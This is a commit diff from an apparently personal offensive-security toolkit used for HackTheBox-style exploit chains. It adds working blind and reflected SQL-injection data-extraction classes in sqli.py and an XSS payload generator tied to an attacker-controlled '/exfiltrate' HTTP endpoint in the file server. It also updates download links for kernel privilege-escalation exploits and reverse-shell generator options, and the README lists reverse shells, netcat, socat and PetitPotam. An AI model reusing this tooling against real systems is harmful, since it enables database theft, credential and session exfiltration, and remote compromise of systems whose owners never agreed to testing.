Compare commits
10 Commits
0fac5c75b0
...
12007c84c1
Author | SHA1 | Date | |
---|---|---|---|
12007c84c1 | |||
f11f99fdf4 | |||
680b029677 | |||
b5296b3ff4 | |||
546d6c8447 | |||
4b02f0bf25 | |||
5a2508e524 | |||
5006819532 | |||
1b679b0c37 | |||
ad8225e918 |
0
PetitPotam.py
Executable file → Normal file
0
PetitPotam.py
Executable file → Normal file
22
README.md
22
README.md
@ -7,8 +7,16 @@ I use this repository mostly for automated exploit chains. HackTheBox machines o
|
|||||||
|
|
||||||
### Installation
|
### Installation
|
||||||
```bash
|
```bash
|
||||||
git clone git@romanh.de:Roman/HackingScripts
|
PYTHON_DIR=$(python -c "import sys;print(sys.path[-1])")
|
||||||
sudo ln -s HackingScripts $(python -c "import sys;print(sys.path[-1])")/hackingscripts
|
|
||||||
|
# clone directly into python site-packages
|
||||||
|
git clone https://git.romanh.de/Roman/HackingScripts.git $PYTHON_DIR/hackingscripts
|
||||||
|
# or use a symlink
|
||||||
|
git clone https://git.romanh.de/Roman/HackingScripts.git
|
||||||
|
sudo ln -s $(pwd)/HackingScripts $PYTHON_DIR/hackingscripts
|
||||||
|
|
||||||
|
# Install requirements
|
||||||
|
pip3 install -r $PYTHON_DIR/hackingscripts/requirements.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
### Enumeration: Initial Scans
|
### Enumeration: Initial Scans
|
||||||
@ -30,6 +38,7 @@ Can be deployed on victim machines to scan the intranet.
|
|||||||
- pingscan.py: small python script, which can detect internal hosts via ping probes natively.
|
- pingscan.py: small python script, which can detect internal hosts via ping probes natively.
|
||||||
Can be deployed on victim machines to scan the intranet.
|
Can be deployed on victim machines to scan the intranet.
|
||||||
- [deepce.sh](https://github.com/stealthcopter/deepce): Docker Privilege Escalation (e.g. exposed socket)
|
- [deepce.sh](https://github.com/stealthcopter/deepce): Docker Privilege Escalation (e.g. exposed socket)
|
||||||
|
- [socat](https://github.com/3ndG4me/socat)
|
||||||
|
|
||||||
### Reverse Shell: Payloads
|
### Reverse Shell: Payloads
|
||||||
- rev_shell.py: Generates a reverse shell command (e.g. netcat, python, ...)
|
- rev_shell.py: Generates a reverse shell command (e.g. netcat, python, ...)
|
||||||
@ -52,6 +61,7 @@ Can be deployed on victim machines to scan the intranet.
|
|||||||
- pcap_file_extract.py: Lists and extracts files from http connections found in pcap files
|
- pcap_file_extract.py: Lists and extracts files from http connections found in pcap files
|
||||||
- find_git_commit.py: Compares a local repository (e.g. downloaded from a remote server) with another git repository to guess the commit hash. Useful to find used versions
|
- find_git_commit.py: Compares a local repository (e.g. downloaded from a remote server) with another git repository to guess the commit hash. Useful to find used versions
|
||||||
- TODO: smb
|
- TODO: smb
|
||||||
|
- sqli.py: An sqlmap-like abstract class for automizing SQL-Injections (WIP)
|
||||||
|
|
||||||
### [Windows](win/)
|
### [Windows](win/)
|
||||||
- nc.exe/nc64.exe: netcat standalone binary
|
- nc.exe/nc64.exe: netcat standalone binary
|
||||||
@ -63,4 +73,10 @@ Can be deployed on victim machines to scan the intranet.
|
|||||||
- [SharpHound.exe](https://github.com/BloodHoundAD/SharpHound3): BloodHound Ingestor
|
- [SharpHound.exe](https://github.com/BloodHoundAD/SharpHound3): BloodHound Ingestor
|
||||||
- [windows-exploit-suggester.py](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
|
- [windows-exploit-suggester.py](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
|
||||||
- [aspx-reverse-shell.aspx](https://github.com/borjmz/aspx-reverse-shell)
|
- [aspx-reverse-shell.aspx](https://github.com/borjmz/aspx-reverse-shell)
|
||||||
- [xp_cmdshell.py](https://github.com/0xalwayslucky/pentesting-tools) (thanks to @alwayslucky)
|
- [xp_cmdshell.py](https://github.com/0xalwayslucky/pentesting-tools) (thanks to [@alwayslucky](https://github.com/0xalwayslucky))
|
||||||
|
- [PetitPotam.py](https://github.com/topotam/PetitPotam)
|
||||||
|
- [socat.exe](https://github.com/3ndG4me/socat)
|
||||||
|
- TODO: add all Potatoes
|
||||||
|
|
||||||
|
### Example API-Usage
|
||||||
|
TODO: Add some example code or bash commands on how to use the custom libraries, e.g. fileserver, xss_handler, etc.
|
@ -5,12 +5,10 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
|
|||||||
from urllib.parse import urlparse
|
from urllib.parse import urlparse
|
||||||
import threading
|
import threading
|
||||||
import requests
|
import requests
|
||||||
import sys
|
|
||||||
import time
|
import time
|
||||||
import os
|
import os
|
||||||
import ssl
|
import ssl
|
||||||
import util
|
import util
|
||||||
import xss_handler
|
|
||||||
|
|
||||||
class FileServerRequestHandler(BaseHTTPRequestHandler):
|
class FileServerRequestHandler(BaseHTTPRequestHandler):
|
||||||
|
|
||||||
@ -93,14 +91,23 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
|
|||||||
status_code = 200 if len(result) < 1 else result[0]
|
status_code = 200 if len(result) < 1 else result[0]
|
||||||
data = b"" if len(result) < 2 else result[1]
|
data = b"" if len(result) < 2 else result[1]
|
||||||
headers = { } if len(result) < 3 else result[2]
|
headers = { } if len(result) < 3 else result[2]
|
||||||
else:
|
elif isinstance(result, int):
|
||||||
status_code = result
|
status_code = result
|
||||||
data = b""
|
data = b""
|
||||||
headers = {}
|
headers = {}
|
||||||
|
elif result is None:
|
||||||
|
status_code = 201
|
||||||
|
data = b""
|
||||||
|
headers = {}
|
||||||
|
else:
|
||||||
|
status_code = 200
|
||||||
|
data = data if type(data) in [bytes, bytearray] else str(data).encode()
|
||||||
|
headers = {}
|
||||||
|
|
||||||
if path in self.server.dumpRequests:
|
if path in self.server.dumpRequests:
|
||||||
headers["Access-Control-Allow-Origin"] = "*"
|
headers["Access-Control-Allow-Origin"] = "*"
|
||||||
|
|
||||||
|
headers["Connection"] = "Close"
|
||||||
headers["Content-Length"] = len(util.nvl(data, b""))
|
headers["Content-Length"] = len(util.nvl(data, b""))
|
||||||
|
|
||||||
if len(headers) == 0:
|
if len(headers) == 0:
|
||||||
@ -176,7 +183,7 @@ class HttpFileServer(HTTPServer):
|
|||||||
data = data.encode("UTF-8")
|
data = data.encode("UTF-8")
|
||||||
|
|
||||||
headers = {
|
headers = {
|
||||||
"Access-Control-Allow-Origin": "*",
|
"Access-Control-Allow-Origin": "*"
|
||||||
}
|
}
|
||||||
|
|
||||||
if mime_type:
|
if mime_type:
|
||||||
@ -275,10 +282,6 @@ class HttpFileServer(HTTPServer):
|
|||||||
self.listen_thread.join()
|
self.listen_thread.join()
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
if len(sys.argv) < 2 or sys.argv[1] not in ["shell","dump","proxy","xss"]:
|
|
||||||
print("Usage: %s [shell,dump,proxy,xss]" % sys.argv[0])
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
parser = argparse.ArgumentParser(description="Spawn a temporary http server")
|
parser = argparse.ArgumentParser(description="Spawn a temporary http server")
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"action",
|
"action",
|
||||||
@ -327,8 +330,11 @@ if __name__ == "__main__":
|
|||||||
file_server.forwardRequest("/proxy", url)
|
file_server.forwardRequest("/proxy", url)
|
||||||
print("Exfiltrate data using:", file_server.get_full_url("/proxy", ip_address))
|
print("Exfiltrate data using:", file_server.get_full_url("/proxy", ip_address))
|
||||||
elif args.action == "xss":
|
elif args.action == "xss":
|
||||||
|
from xss_handler import generate_payload as generate_xss_payload
|
||||||
payload_type = args.payload if args.payload else "img"
|
payload_type = args.payload if args.payload else "img"
|
||||||
xss = xss_handler.generatePayload(payload_type, ip_addr, args.port)
|
xss = generate_xss_payload(payload_type, file_server.get_full_url("/exfiltrate", ip_address))
|
||||||
|
file_server.addFile("/xss", xss)
|
||||||
|
file_server.dumpRequest("/exfiltrate")
|
||||||
print("Exfiltrate data using:")
|
print("Exfiltrate data using:")
|
||||||
print(xss)
|
print(xss)
|
||||||
|
|
||||||
|
473
linpeas.sh
473
linpeas.sh
File diff suppressed because one or more lines are too long
@ -217,7 +217,7 @@ Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30
|
|||||||
Tags: ubuntu=9.04
|
Tags: ubuntu=9.04
|
||||||
Rank: 1
|
Rank: 1
|
||||||
analysis-url: https://xorl.wordpress.com/2009/07/16/cve-2009-1895-linux-kernel-per_clear_on_setid-personality-bypass/
|
analysis-url: https://xorl.wordpress.com/2009/07/16/cve-2009-1895-linux-kernel-per_clear_on_setid-personality-bypass/
|
||||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9435.tgz
|
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9435.tgz
|
||||||
exploit-db: 9435
|
exploit-db: 9435
|
||||||
Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed
|
Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed
|
||||||
EOF
|
EOF
|
||||||
@ -228,7 +228,7 @@ Name: ${txtgrn}[CVE-2009-2692,CVE-2009-1895]${txtrst} sock_sendpage2
|
|||||||
Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30
|
Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30
|
||||||
Tags:
|
Tags:
|
||||||
Rank: 1
|
Rank: 1
|
||||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9436.tgz
|
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9436.tgz
|
||||||
exploit-db: 9436
|
exploit-db: 9436
|
||||||
Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0
|
Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0
|
||||||
EOF
|
EOF
|
||||||
@ -239,7 +239,7 @@ Name: ${txtgrn}[CVE-2009-2692,CVE-2009-1895]${txtrst} sock_sendpage3
|
|||||||
Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30
|
Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30
|
||||||
Tags:
|
Tags:
|
||||||
Rank: 1
|
Rank: 1
|
||||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9641.tar.gz
|
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9641.tar.gz
|
||||||
exploit-db: 9641
|
exploit-db: 9641
|
||||||
Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed
|
Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed
|
||||||
EOF
|
EOF
|
||||||
@ -260,7 +260,7 @@ Name: ${txtgrn}[CVE-2009-2698]${txtrst} the rebel (udp_sendmsg)
|
|||||||
Reqs: pkg=linux-kernel,ver>=2.6.1,ver<=2.6.19
|
Reqs: pkg=linux-kernel,ver>=2.6.1,ver<=2.6.19
|
||||||
Tags: debian=4
|
Tags: debian=4
|
||||||
Rank: 1
|
Rank: 1
|
||||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9574.tgz
|
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9574.tgz
|
||||||
exploit-db: 9574
|
exploit-db: 9574
|
||||||
analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html
|
analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html
|
||||||
author: spender
|
author: spender
|
||||||
@ -701,7 +701,7 @@ Name: ${txtgrn}[CVE-2016-4997]${txtrst} target_offset
|
|||||||
Reqs: pkg=linux-kernel,ver>=4.4.0,ver<=4.4.0,cmd:grep -qi ip_tables /proc/modules
|
Reqs: pkg=linux-kernel,ver>=4.4.0,ver<=4.4.0,cmd:grep -qi ip_tables /proc/modules
|
||||||
Tags: ubuntu=16.04{kernel:4.4.0-21-generic}
|
Tags: ubuntu=16.04{kernel:4.4.0-21-generic}
|
||||||
Rank: 1
|
Rank: 1
|
||||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/40053.zip
|
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40053.zip
|
||||||
Comments: ip_tables.ko needs to be loaded
|
Comments: ip_tables.ko needs to be loaded
|
||||||
exploit-db: 40049
|
exploit-db: 40049
|
||||||
author: Vitaly 'vnik' Nikolenko
|
author: Vitaly 'vnik' Nikolenko
|
||||||
@ -714,7 +714,7 @@ Reqs: pkg=linux-kernel,ver>=4.4,ver<4.5.5,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unp
|
|||||||
Tags: ubuntu=16.04{kernel:4.4.0-21-generic}
|
Tags: ubuntu=16.04{kernel:4.4.0-21-generic}
|
||||||
Rank: 1
|
Rank: 1
|
||||||
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
|
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
|
||||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip
|
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
|
||||||
Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1
|
Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1
|
||||||
exploit-db: 40759
|
exploit-db: 40759
|
||||||
author: Jann Horn
|
author: Jann Horn
|
||||||
@ -858,7 +858,7 @@ Reqs: pkg=linux-kernel,ver>=4.15,ver<=4.19.2,CONFIG_USER_NS=y,sysctl:kernel.unpr
|
|||||||
Tags: ubuntu=18.04{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28}
|
Tags: ubuntu=18.04{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28}
|
||||||
Rank: 1
|
Rank: 1
|
||||||
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
|
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
|
||||||
src-url: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45886.zip
|
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45886.zip
|
||||||
exploit-db: 45886
|
exploit-db: 45886
|
||||||
author: Jann Horn
|
author: Jann Horn
|
||||||
Comments: CONFIG_USER_NS needs to be enabled
|
Comments: CONFIG_USER_NS needs to be enabled
|
||||||
@ -871,7 +871,7 @@ Reqs: pkg=linux-kernel,ver>=4,ver<5.1.17,sysctl:kernel.yama.ptrace_scope==0,x86_
|
|||||||
Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*}
|
Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*}
|
||||||
Rank: 1
|
Rank: 1
|
||||||
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
|
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
|
||||||
src-url: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip
|
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47133.zip
|
||||||
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
|
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
|
||||||
Comments: Requires an active PolKit agent.
|
Comments: Requires an active PolKit agent.
|
||||||
exploit-db: 47133
|
exploit-db: 47133
|
||||||
@ -1066,7 +1066,7 @@ Reqs: pkg=glibc|libc6,x86
|
|||||||
Tags: debian=6
|
Tags: debian=6
|
||||||
Rank: 1
|
Rank: 1
|
||||||
analysis-url: http://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html
|
analysis-url: http://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html
|
||||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/34421.tar.gz
|
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34421.tar.gz
|
||||||
exploit-db: 34421
|
exploit-db: 34421
|
||||||
EOF
|
EOF
|
||||||
)
|
)
|
||||||
@ -1284,7 +1284,7 @@ Reqs: pkg=ntfs-3g,ver<2017.4
|
|||||||
Tags: ubuntu=16.04{ntfs-3g:2015.3.14AR.1-1build1},debian=7.0{ntfs-3g:2012.1.15AR.5-2.1+deb7u2},debian=8.0{ntfs-3g:2014.2.15AR.2-1+deb8u2}
|
Tags: ubuntu=16.04{ntfs-3g:2015.3.14AR.1-1build1},debian=7.0{ntfs-3g:2012.1.15AR.5-2.1+deb7u2},debian=8.0{ntfs-3g:2014.2.15AR.2-1+deb8u2}
|
||||||
Rank: 1
|
Rank: 1
|
||||||
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072
|
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072
|
||||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/41356.zip
|
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41356.zip
|
||||||
exploit-db: 41356
|
exploit-db: 41356
|
||||||
author: Jann Horn
|
author: Jann Horn
|
||||||
Comments: Distros use own versioning scheme. Manual verification needed. Linux headers must be installed. System must have at least two CPU cores.
|
Comments: Distros use own versioning scheme. Manual verification needed. Linux headers must be installed. System must have at least two CPU cores.
|
||||||
|
@ -532,8 +532,8 @@ if __name__ == "__main__":
|
|||||||
|
|
||||||
parser = argparse.ArgumentParser(description="Reverse shell generator")
|
parser = argparse.ArgumentParser(description="Reverse shell generator")
|
||||||
parser.add_argument(dest="type", type=str, default=None, help="Payload type")
|
parser.add_argument(dest="type", type=str, default=None, help="Payload type")
|
||||||
parser.add_argument("--port", type=int, required=False, default=None, help="Listening port")
|
parser.add_argument("-p", "--port", type=int, required=False, default=None, help="Listening port")
|
||||||
parser.add_argument("--addr", type=str, required=False, default=util.get_address(), help="Listening address")
|
parser.add_argument("-a", "--addr", type=str, required=False, default=util.get_address(), help="Listening address")
|
||||||
args, extra = parser.parse_known_args()
|
args, extra = parser.parse_known_args()
|
||||||
|
|
||||||
listen_port = args.port
|
listen_port = args.port
|
||||||
|
BIN
socat
BIN
socat
Binary file not shown.
BIN
socat64
Normal file
BIN
socat64
Normal file
Binary file not shown.
275
sqli.py
275
sqli.py
@ -2,8 +2,6 @@ from abc import ABC, abstractmethod
|
|||||||
import sys
|
import sys
|
||||||
import string
|
import string
|
||||||
|
|
||||||
# TODO: add blind/reflected option
|
|
||||||
# TODO: binary search instead of bruteforce
|
|
||||||
class SQLi(ABC):
|
class SQLi(ABC):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
@ -13,37 +11,6 @@ class SQLi(ABC):
|
|||||||
table = "" if not table else f" FROM {table}"
|
table = "" if not table else f" FROM {table}"
|
||||||
return f"SELECT {column}{table}{condition} LIMIT 1{offset}"
|
return f"SELECT {column}{table}{condition} LIMIT 1{offset}"
|
||||||
|
|
||||||
def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False, binary_search=True):
|
|
||||||
|
|
||||||
query = self.build_query(column, table, condition, offset)
|
|
||||||
|
|
||||||
if self.blind_sqli(f"({query})=0"):
|
|
||||||
return 0
|
|
||||||
|
|
||||||
if not binary_search:
|
|
||||||
cur_int = 1
|
|
||||||
while self.blind_sqli(f"({query})>{cur_int}"):
|
|
||||||
cur_int += 1
|
|
||||||
|
|
||||||
return cur_int
|
|
||||||
else:
|
|
||||||
min_value = 1
|
|
||||||
max_value = 1
|
|
||||||
|
|
||||||
while self.blind_sqli(f"({query})>{max_value}"):
|
|
||||||
min_value = max_value + 1
|
|
||||||
max_value = max_value * 2
|
|
||||||
|
|
||||||
max_value = max_value - 1
|
|
||||||
while True:
|
|
||||||
cur_int = (min_value + max_value) // 2
|
|
||||||
if self.blind_sqli(f"({query})>{cur_int}"):
|
|
||||||
min_value = cur_int + 1
|
|
||||||
elif self.blind_sqli(f"({query})<{cur_int}"):
|
|
||||||
max_value = cur_int - 1
|
|
||||||
else:
|
|
||||||
return cur_int
|
|
||||||
|
|
||||||
def extract_multiple_ints(self, column: str, table=None, condition=None, verbose=False):
|
def extract_multiple_ints(self, column: str, table=None, condition=None, verbose=False):
|
||||||
row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
|
row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
|
||||||
if verbose:
|
if verbose:
|
||||||
@ -55,44 +22,30 @@ class SQLi(ABC):
|
|||||||
|
|
||||||
return rows
|
return rows
|
||||||
|
|
||||||
def extract_string(self, column: str, table=None, condition=None, offset=None, max_length=None, verbose=False, charset=string.printable):
|
def extract_multiple_strings(self, column: str, table=None, condition=None, verbose=False):
|
||||||
|
|
||||||
if max_length is None:
|
|
||||||
max_length = self.extract_int(f"LENGTH({column})", table, condition, offset, verbose=verbose)
|
|
||||||
if verbose:
|
|
||||||
print("Fetched length:", max_length)
|
|
||||||
|
|
||||||
cur_str = ""
|
|
||||||
while True:
|
|
||||||
found = False
|
|
||||||
query = self.build_query(f"ascii(substr({column},{len(cur_str) + 1},1))", table, condition, offset)
|
|
||||||
for c in charset:
|
|
||||||
if self.blind_sqli(f"({query})={ord(c)}"):
|
|
||||||
found = True
|
|
||||||
cur_str += c
|
|
||||||
if verbose:
|
|
||||||
sys.stdout.write(c)
|
|
||||||
sys.stdout.flush()
|
|
||||||
break
|
|
||||||
if not found or (max_length is not None and len(cur_str) >= max_length):
|
|
||||||
break
|
|
||||||
|
|
||||||
if verbose:
|
|
||||||
print()
|
|
||||||
|
|
||||||
return cur_str
|
|
||||||
|
|
||||||
def extract_multiple_strings(self, column: str, table=None, condition=None, verbose=False, charset=string.printable):
|
|
||||||
row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
|
row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
|
||||||
if verbose:
|
if verbose:
|
||||||
print(f"Fetching {row_count} rows")
|
print(f"Fetching {row_count} rows")
|
||||||
|
|
||||||
rows = []
|
rows = []
|
||||||
for i in range(0, row_count):
|
for i in range(0, row_count):
|
||||||
rows.append(self.extract_string(column, table, condition, i, verbose=verbose, charset=charset))
|
rows.append(self.extract_string(column, table, condition, i, verbose=verbose))
|
||||||
|
|
||||||
return rows
|
return rows
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def ascii(self):
|
||||||
|
pass
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def extract_int(self, column: str, table=None, condition=None,
|
||||||
|
offset=None, verbose=False):
|
||||||
|
pass
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False):
|
||||||
|
pass
|
||||||
|
|
||||||
@abstractmethod
|
@abstractmethod
|
||||||
def get_database_version(self, verbose=False):
|
def get_database_version(self, verbose=False):
|
||||||
pass
|
pass
|
||||||
@ -105,10 +58,6 @@ class SQLi(ABC):
|
|||||||
def get_current_database(self, verbose=False):
|
def get_current_database(self, verbose=False):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
@abstractmethod
|
|
||||||
def blind_sqli(self, condition: str, verbose=False) -> bool:
|
|
||||||
pass
|
|
||||||
|
|
||||||
@abstractmethod
|
@abstractmethod
|
||||||
def get_table_names(self, schema: str, verbose=False):
|
def get_table_names(self, schema: str, verbose=False):
|
||||||
pass
|
pass
|
||||||
@ -117,6 +66,173 @@ class SQLi(ABC):
|
|||||||
def get_column_names(self, table: str, schema: str, verbose=False):
|
def get_column_names(self, table: str, schema: str, verbose=False):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
class ReflectedSQLi(SQLi, ABC):
|
||||||
|
|
||||||
|
def __init__(self, column_types: list):
|
||||||
|
self.column_types = column_types
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def reflected_sqli(self, columns: list, table=None, condition=None, offset=None, verbose=False):
|
||||||
|
pass
|
||||||
|
|
||||||
|
def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False):
|
||||||
|
query_columns = [column] + list(map(str, range(2, len(self.column_types) + 1)))
|
||||||
|
return int(self.reflected_sqli(query_columns, table, condition, offset)[0])
|
||||||
|
|
||||||
|
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False):
|
||||||
|
if str not in self.column_types:
|
||||||
|
print("[!] Reflectd SQL does not reflect string types, only:", self.column_types)
|
||||||
|
return None
|
||||||
|
|
||||||
|
str_column = self.column_types.index(str)
|
||||||
|
query_columns = list(map(lambda c: f"'{c}'", range(len(self.column_types))))
|
||||||
|
query_columns[str_column] = column
|
||||||
|
return self.reflected_sqli(query_columns, table, condition, offset)[str_column]
|
||||||
|
|
||||||
|
def extract_multiple_ints(self, columns: list|str, table=None, condition=None, verbose=False):
|
||||||
|
one = False
|
||||||
|
if isinstance(columns, str):
|
||||||
|
columns = [columns]
|
||||||
|
one = True
|
||||||
|
|
||||||
|
column_count = len(columns)
|
||||||
|
if len(self.column_types) < column_count:
|
||||||
|
print(f"[!] Reflectd SQL does not reflect required amount of columns. required={column_count}, got={len(self.column_types)}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
query_columns = columns + list(map(str, range(column_count + 1, len(self.column_types) + 1)))
|
||||||
|
row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose)
|
||||||
|
if verbose:
|
||||||
|
print(f"Fetching {row_count} rows")
|
||||||
|
|
||||||
|
rows = []
|
||||||
|
column_str = ",".join(query_columns)
|
||||||
|
for i in range(0, row_count):
|
||||||
|
row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose)
|
||||||
|
if one:
|
||||||
|
rows.append(int(row[0]))
|
||||||
|
else:
|
||||||
|
rows.append(list(map(lambda i: int(row[i]), range(column_count))))
|
||||||
|
|
||||||
|
return rows
|
||||||
|
|
||||||
|
def extract_multiple_strings(self, columns: list|str, table=None, condition=None, verbose=False):
|
||||||
|
one = False
|
||||||
|
if isinstance(columns, str):
|
||||||
|
columns = [columns]
|
||||||
|
one = True
|
||||||
|
|
||||||
|
column_count = len(columns)
|
||||||
|
if self.column_types.count(str) < column_count:
|
||||||
|
print(f"[!] Reflectd SQL does not reflect required amount of string columns. required={column_count}, got={self.column_types.count(str)}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
query_columns = list(map(str, range(1, len(self.column_types) + 1)))
|
||||||
|
offsets = list(None for _ in range(column_count))
|
||||||
|
offset = 0
|
||||||
|
for i, column in enumerate(columns):
|
||||||
|
while self.column_types[offset] != str:
|
||||||
|
offset += 1
|
||||||
|
offsets[i] = offset
|
||||||
|
query_columns[offset] = column
|
||||||
|
offset += 1
|
||||||
|
|
||||||
|
row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose)
|
||||||
|
if verbose:
|
||||||
|
print(f"Fetching {row_count} rows")
|
||||||
|
|
||||||
|
rows = []
|
||||||
|
column_str = ",".join(query_columns)
|
||||||
|
for i in range(0, row_count):
|
||||||
|
row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose)
|
||||||
|
if one:
|
||||||
|
rows.append(row[offsets[0]])
|
||||||
|
else:
|
||||||
|
rows.append(list(map(lambda o: row[o], offsets)))
|
||||||
|
|
||||||
|
return rows
|
||||||
|
|
||||||
|
# todo: extract_multiple with columns as dict (name -> type), e.g. extract_multiple({"id": int, "name": str})
|
||||||
|
|
||||||
|
class BlindSQLi(SQLi, ABC):
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def blind_sqli(self, condition: str, verbose=False) -> bool:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def extract_int(self, column: str, table=None, condition=None,
|
||||||
|
offset=None, verbose=False, binary_search=True,
|
||||||
|
min_value=None, max_value=None):
|
||||||
|
|
||||||
|
query = self.build_query(column, table, condition, offset)
|
||||||
|
|
||||||
|
if self.blind_sqli(f"({query})=0"):
|
||||||
|
return 0
|
||||||
|
|
||||||
|
if not binary_search:
|
||||||
|
cur_int = 1 if min_value is None else min_value
|
||||||
|
while self.blind_sqli(f"({query})>{cur_int}", verbose):
|
||||||
|
cur_int += 1
|
||||||
|
if max_value is not None and cur_int >= max_value:
|
||||||
|
return None
|
||||||
|
|
||||||
|
return cur_int
|
||||||
|
else:
|
||||||
|
if min_value is None or max_value is None:
|
||||||
|
min_value = 1 if min_value is None else min_value
|
||||||
|
max_value = 1 if max_value is None else max_value
|
||||||
|
|
||||||
|
while self.blind_sqli(f"({query})>{max_value}", verbose):
|
||||||
|
min_value = max_value + 1
|
||||||
|
max_value = max_value * 2
|
||||||
|
|
||||||
|
while True:
|
||||||
|
cur_int = (min_value + max_value) // 2
|
||||||
|
if self.blind_sqli(f"({query})>{cur_int}", verbose):
|
||||||
|
min_value = cur_int + 1
|
||||||
|
elif self.blind_sqli(f"({query})<{cur_int}", verbose):
|
||||||
|
max_value = cur_int - 1
|
||||||
|
else:
|
||||||
|
return cur_int
|
||||||
|
|
||||||
|
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False, max_length=None, charset=string.printable):
|
||||||
|
|
